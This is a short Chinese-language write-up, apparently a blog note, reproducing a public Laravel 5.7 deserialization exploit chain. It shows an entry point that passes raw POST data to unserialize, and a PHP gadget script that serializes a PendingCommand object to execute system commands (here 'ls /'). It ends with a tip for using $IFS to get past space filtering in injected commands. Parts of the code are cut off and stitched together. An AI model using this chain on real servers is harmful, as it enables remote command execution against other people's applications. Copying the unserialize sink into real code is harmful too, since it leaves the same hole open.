laravel5.7反序列化漏洞

使用网上公布的反序列化的链子

源代码

| Composer provides a convenient, automatically generated class loader for

| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.

| the responses back to the browser and delight our users.

$app = require_once __DIR__ . '/../bootstrap/app.php';

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()

@unserialize($_POST['data']);

<?php
//gadgets.php
namespace Illuminate\Foundation\Testing{
	class PendingCommand{
		protected $command;
		protected $parameters;
		protected $app;
		public $test;
		public function __construct($command, $parameters,$class,$app)
	    {
	        $this->command = $command;
	        $this->parameters = $parameters;

	        $this->app=$app;

	class GenericUser{
		protected $attributes;
		public function __construct(array $attributes){
	        $this->attributes = $attributes;
	    }
	}
}
namespace Illuminate\Foundation{
	class Application{
		protected $hasBeenBootstrapped = false;
		protected $bindings;
		public function __construct($bind){
			$this->bindings=$bind;
		}
	}
}
namespace{
	echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('ls /'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
}
?>

不知道为什么么找了好多链子 这个和大师傅的链子一摸一样 但是都有一个通用的问题 一旦命令中出现空格 就不好使,自己找出来解决方式了 使用$IFS代表空格   $IFS$9 是为了绕过命令中的空格 加不加$9都可以 他俩的意思应该都是空格 反正能代替空格
